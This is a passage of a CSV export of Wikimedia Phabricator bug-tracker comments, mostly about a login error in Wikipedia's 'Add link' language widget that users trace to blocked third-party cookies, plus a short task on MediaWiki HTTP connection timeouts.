+Link: https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=554883644#Relinking_Google_for_SSL_https",,,1368453894,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+50389,[Bug] Login issue with add language links widget,"> ""Whenever I try to add an interwiki link by following the ""Add link"" link in the ""Languages"" section, the following error message pops up: ""You need to be logged in. You need to be logged in on this wiki and in the central data repository to use this feature."" However, if I visit Wikidata it seems I am already logged in there with my global login. This problem occurs not just with English Wikipedia but with other Wikipedias. Is this a known issue? Regardless, this error message is supremely unhelpful; it doesn't provide any indication as to what the ""central data repository"" is or how to log in there. —Psychonaut (talk) 17:43, 11 May 2013 (UTC)""
+
+(Reported at http://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#.22You_need_to_be_logged_in.22_error_when_trying_to_add_interwiki_links)
+
+**See Also**:
+{T68521}",High,80.0,1368390120,1443601911.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_description,resolved,True,c2,1,True,False,False,-16,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+537865,[Bug] Login issue with add language links widget,"Given this didn't make it into the branch this week, this is probably not going to be deployed to the Wikipedias before October 15.",,,1443601998,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,109,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+537864,[Bug] Login issue with add language links widget,"Change 238469 merged by jenkins-bot:
+Use mw.ForeignApi in getLocationAgnosticMwApi
+
+[[https://gerrit.wikimedia.org/r/238469]]",,,1443601890,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,109,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+527669,[Bug] Login issue with add language links widget,"Change 238469 had a related patch set uploaded (by Hoo man):
+Use mw.ForeignApi in getLocationAgnosticMwApi
+
+[[https://gerrit.wikimedia.org/r/238469]]
+",,,1442332619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,106,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+521725,[Bug] Login issue with add language links widget,">>! In T50389#1612338, @Hdamm wrote:
+> I'm getting this problem, too - since a couple of days? I'm also using Firefox (latest version).
+> What can I do?
+> Greetings
+> hdamm
+
+BTW - when I get that error message, I click on the link to log in to WikiData, where I get the ""Welcome to Wikidata"" message. Then I go back within the same tab(!) in Firefox, and reload it. That's when I get the same error message, again.
+Maybe that helps?
+Greetimgs
+hdamm",,,1441530863,,PHID-USER-nfhf74f5bmvkv57czxli,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,105,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1
+521724,[Bug] Login issue with add language links widget,"I'm getting this problem, too - since a couple of days? I'm also using Firefox (latest version).
+What can I do?
+Greetings
+hdamm",,,1441530107,,PHID-USER-nfhf74f5bmvkv57czxli,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,105,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0
+517207,[Bug] Login issue with add language links widget,"Yeah, this should be easy to fix now for someone who knows Wikibase's code. I tried, but I couldn't find where the Wikibase API code comes from.",,,1440874632,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,104,True,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+517206,[Bug] Login issue with add language links widget,"Yeah, this should be easy to fix for someone who knows Wikibase's code. I tried, but I couldn't find where the Wikibase API code comes from.",,,1440874622,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,104,True,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+508802,[Bug] Login issue with add language links widget,"AIUI, {T66636} will allow Wikibase to use centralauthtoken without depending upon CentralAuth explicitly (core takes care of the dependency internally) and centralauthtoken should bypass any cookie issues.",,,1439600095,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,102,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+507300,[Bug] Login issue with add language links widget,Another occurrence was brought up in https://en.wikipedia.org/w/index.php?title=Wikipedia:Village_pump_%28technical%29&oldid=675868961#InterWiki,,,1439461644,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,102,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+489786,[Bug] Login issue with add language links widget,"@Lydia_Pintscher or anyone else who might know:  Is this going to be fixed?  
+
+It can't be SUL problems, because SUL finalization is done.  It can't be HTTP vs HTTPS, because everything is forced to HTTPS.  
+
+If the problem is not accepting third-party cookies, then the message needs to say that (or the software needs to be changed to not need cookies).  
+
+In the meantime, maybe someone would like to add [[w:ht:Lafyèv jòn]] to the list of articles about yellow fever.
+",,,1436487973,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,97,True,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+403111,[Bug] Login issue with add language links widget,"I'm getting this problem, too.  I'm also using Firefox (latest version) with third-party cookies disabled.  It might be nice to have a help page about this somewhere on Wikidata.  
+",,,1422231108,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,73,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+393046,[Bug] Login issue with add language links widget,"Disabled noscript, but this does not make a change. Even then, the ''Add link'' does not consider me to be logged in to WD.",,,1419578131,,PHID-USER-cvjhvwd4dkky6b7a2tgi,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,69,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+391093,[Bug] Login issue with add language links widget,">>! In T50389#832492, @Herzi.Pinki wrote:
+> thanks hoo, but I'm using a rather old firefox and I did not update since months. But I use noscript, maybe that is the problem? It updates regularily. Any hint on noscript?
+
+I don't have time to test this right now, but changing your noscript settings could help (quite likely, actually).
+
+If it does, a reply about what you did would be nice, so that others can see what to do.",,,1418933197,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,68,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,1
+339643,[Bug] Login issue with add language links widget,"thanks hoo, but I'm using a rather old firefox and I did not update since months. But I use noscript, maybe that is the problem? It updates regularily. Any hint on noscript?",,,1418083677,,PHID-USER-cvjhvwd4dkky6b7a2tgi,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,66,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+339616,[Bug] Login issue with add language links widget,">>! In T50389#831804, @Herzi.Pinki wrote:
+> It still doesn't work for me.
+> To be clear about: It worked perfectly before (about 8 weeks ago), but since then it doesn't . What have you changed related to authentication since then?
+
+Nothing has changed on our side, the problem is that browsers keep changing and tend to get more restrictive regarding these things (third party cookies and things like that).",,,1418081680,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,66,True,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,0,1,1,1,0,1
+339559,[Bug] Login issue with add language links widget,"It still doesn't work for me.
+To be clear about: It worked perfectly before (about 8 weeks ago), but since then it doesn't . What have you changed related to authentication since then?",,,1418075179,,PHID-USER-cvjhvwd4dkky6b7a2tgi,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,66,True,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0,0
+220700,[Bug] Login issue with add language links widget,"**psychonaut** wrote:
+
+I'm still experiencing the problem.  If it's been established definitively that this is due to the user's browser blocking third-party cookies, could a message to this effect please be added to the error message?",,,1416505762,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,64,True,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+220697,[Bug] Login issue with add language links widget,"For me it seems fine now.
+Is there anything else we can do on this bug?",,,1413209902,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,58,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0
+220693,[Bug] Login issue with add language links widget,"(In reply to comment #11)
+> The ""real"" solution for this would be OAuth, right?
+
+No. OAuth could be a solution for third party client wikis, but not for Wikimedia ones (we have CentralAuth for this purpose).
+
+The issue over here essentially comes down to a CentralAuth shortcoming (see my mail).",,,1386090219,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,13,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+220687,[Bug] Login issue with add language links widget,"The ""real"" solution for this would be OAuth, right?",,,1386069110,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0
+220681,[Bug] Login issue with add language links widget,"**psychonaut** wrote:
+
+Yes, I've got third-party cookies disabled, though I'd hardly call this an ""unusual"" configuration.  It's useful and common enough that Mozilla is considering making it the default setting for its browsers.  If accepting third-party cookies is required to add interwiki links now, then if/when Mozilla makes the switch, it's going to stop working for some 20% of all Wikimedia users.
+
+In the meantime, if third-party cookies are required, please update the ""You need to be logged in"" message to say so.",,,1381304491,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,6,True,1,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+220673,[Bug] Login issue with add language links widget,"This can certainly happen if the user has 3rd-party cookies disabled. In that case, they won't be logged into any of the other projects when the login. Since they're not logged into wikidata when they visit wikidata directly, that does sounds like they're not being logged in properly. It will be hard to track down without capturing the headers when they visit the site though.
+
+You might be able to fix this feature by using a centralauth token from the local wiki, before making the call to wikidata.",,,1381275852,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,5,True,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+220668,[Bug] Login issue with add language links widget,There are a few reports - definitely enough to make me think something is very fishy here.,,,1381269514,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,5,True,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0
+220661,[Bug] Login issue with add language links widget,"(In reply to comment #6)
+> So it seems that the ""Add links"" function *always* tells me I am not logged
+> in,
+> whether or not I really am logged in.
+
+Do you have any uncommon settings regarding cookies? In theory you shouldn't even have to do 5). The fact that you also have to manually log in on wikidata seems strange to me and it would be great to get more details about what exactly is going on here.
+
+@Lydia: Do we often get such reports (how big is the impact of this)?
+
+CCed Chris Steipp because of the SUL login issues mentioned above (point 5).",,,1381268736,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,5,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1
+220657,[Bug] Login issue with add language links widget,"**psychonaut** wrote:
+
+No, I'm logged in via my global account on both wikis via https.  Here's the exact series of steps which reproduces this problem:
+
+0. Assume at the beginning I have just started my browser and am logged in on neither wikipedia-en nor wikidata.
+
+1. I visit https://en.wikipedia.org/wiki/Special:UserLogin.  According to the top of the page I am not yet logged in.
+
+2. I enter my username and password and click on ""Log in"".  I get logged in and redirected to the main page.
+
+3. I visit https://en.wikipedia.org/wiki/Smriti_Irani or any other article which doesn't have any interwiki links.
+
+4. I click on ""Add links"" in the ""Languages"" section of the left bar.  A dialog appears which says ""You need to be logged in. You need to be logged in on this wiki and in the central data repository to use this feature"".
+
+5. I click on ""central data repository"" which takes me to a login page at https://www.wikidata.org/wiki/Special:UserLogin.  According to the top of the page I am not yet logged in.
+
+6. I enter my username and password and click on ""Log in"".  I get logged in and redirected to the main page.
+
+7. I visit https://en.wikipedia.org/wiki/Smriti_Irani again and click on ""Add links"" in the ""Languages"" section of the left bar.  A dialog appears which says ""You need to be logged in. You need to be logged in on this wiki and in the central data repository to use this feature"".
+
+8. I click on ""central data repository"" which takes me to a login page at https://www.wikidata.org/wiki/Special:UserLogin.  This time according to the top of the page I am already logged in.
+
+
+So it seems that the ""Add links"" function *always* tells me I am not logged in, whether or not I really am logged in.",,,1381257794,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,False,,,5,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+220650,[Bug] Login issue with add language links widget,Tristan: Can you answer Marius' last question please?,,,1381155706,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0
+220644,[Bug] Login issue with add language links widget,"(In reply to comment #2)
+> I experience this problem with Mozilla/5.0 (X11; Linux x86_64; rv:20.0)
+> Gecko/20100101 Firefox/20.0 SeaMonkey/2.17.  I have a few add-ons installed
+> but
+> will try again with them removed and post the results.
+
+Then the above patch probably wont solve (or moreover avoid) the mentioned problem. I can't reproduce this problem with neither Firefox 20 nor Seamonkey 2.17 on Fedora.
+
+The only possible cause I can think of right now is that you are logged in via https on Wikidata.org while only being logged in via http on enwiki for some reason (different non-global accounts maybe?).",,,1368472827,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,1,True,,,-16,True,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,0,0,0,1
+220640,[Bug] Login issue with add language links widget,"**psychonaut** wrote:
+
+The problem also occurs in safe mode (i.e., with all add-ons disabled).  It occurs when I'm logged into and accesing Wikipedia via either HTTP or HTTPS.  However, some further experimentation shows that the error message is triggered only sometimes.  Other times following the ""Add link"" gives me the ""Link with page"" popup as expected.",,,1368434474,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+220636,[Bug] Login issue with add language links widget,"**psychonaut** wrote:
+
+I experience this problem with Mozilla/5.0 (X11; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 SeaMonkey/2.17.  I have a few add-ons installed but will try again with them removed and post the results.",,,1368426762,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+220629,[Bug] Login issue with add language links widget,Related URL: https://gerrit.wikimedia.org/r/63393 (Gerrit Change Iae53b39dd20342f5719fd5c67d2891284f1b39bf),,,1368391700,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mqgd5b5k4fnslwwoze2f,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+49027,Implement connection timeout in MediaWiki's Http class,"**Author:** `afeldman`
+
+**Description:**
+MWHttpRequest currently sets CURLOPT_TIMEOUT ($this->curlOptions[CURLOPT_TIMEOUT] = $this->timeout;) but doesn't provide a way to set CURLOPT_CONNECTTIMEOUT_MS.  
+
+MWSearch as deployed in production has a 10 second timeout.  Today we had an outage where lsearchd was up on servers but hung and apaches waited 10 seconds for the connection attempts to timeout.  It would be better if search connection attempts timed out at 500-1000ms.
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: enhancement",High,80.0,1365463560,1412959024.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_description,resolved,True,c2,1,False,False,False,-21,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+214159,Implement connection timeout in MediaWiki's Http class,"No reply to comment 5. Assuming this bug is FIXED.
+If that is not the case: Please reopen and elaborate what is left to do here to get this report fixed.",,,1412959024,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,3,True,,,58,True,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0
+214153,Implement connection timeout in MediaWiki's Http class,"https://gerrit.wikimedia.org/r/#/c/67095/ was merged ages ago.
+
+Is more work needed here, or can this be closed?",,,1411335735,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,3,True,,,55,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0
